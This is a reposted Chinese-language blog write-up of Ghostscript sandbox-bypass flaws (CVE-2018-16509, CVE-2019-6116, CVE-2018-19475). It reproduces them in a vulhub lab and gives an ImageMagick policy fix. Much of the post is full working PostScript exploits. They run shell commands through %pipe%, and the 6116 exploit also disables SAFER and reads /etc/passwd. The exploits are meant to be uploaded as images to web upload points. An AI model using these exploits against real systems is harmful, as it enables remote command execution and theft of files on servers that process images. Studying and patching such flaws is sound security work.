CVE-2018-16509 GhostScript 沙箱繞過(命令執行)漏洞


CVE-2018-16509 GhostScript 沙箱繞過(命令執行)漏洞

GhostScript:
Ghostscript 是一套基於 Adobe、PostScript 及可移植文檔格式(PDF)的頁面描述語言等而編譯成的免費軟件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的繪圖程序一般都很大

以Postscript和PDF閱覽器使用的柵格化影像處理器RIP引擎,GhostScript 被許多圖片處理庫所使用。

在文件上傳過程中,有可能會用GhostScript來處理圖片。所以在上傳圖片點可以試一下它是否存在這個漏洞

影響范圍:

Ghostscript 9.24之前版本

漏洞成因:

在處理/invalidaccess異常時,程序沒有正確的檢測‘restoration of privilege(權限恢復)’。攻擊者可通過提交特制的PostScript利用該漏洞執行代碼。

POC
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
漏洞復現
  1. 進入vulhub漏洞靶場(GhostScript/CVE-2018-16509),開啟環境(略)

  2. 訪問環境http://192.168.159.136/8080將可以看到一個上傳點。

  3. 上傳poc.png,將執行命令id > /tmp/success && cat /tmp/success

    (將id這個命令寫入到success這個文件中,並且查看這個文件)

  4. 點擊上傳按鈕,發現命令已被執行並且顯示出來

  5. 進入容器的文件夾中發現success文件已被創建成功

修復方案

漏洞信息可以參考imagemaick的ghost script RCE漏洞

目前最全的修復方案參考https://www.kb.cert.org/vuls/id/332928

編輯ImageMagick的policy文件,默認路徑為/etc/ImageMagick/policy.xml

標簽中增加如下內容

  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
參考文章

https://blog.csdn.net/hrayha/article/details/82017493

其他兩個版本的poc也發一下,利用參數不同。但操作過程是一樣的

CVE-2019-6116
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%id > /tmp/success) (w) file closefile
 
(All done.)=
 
quit

CVE-2018-19475

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM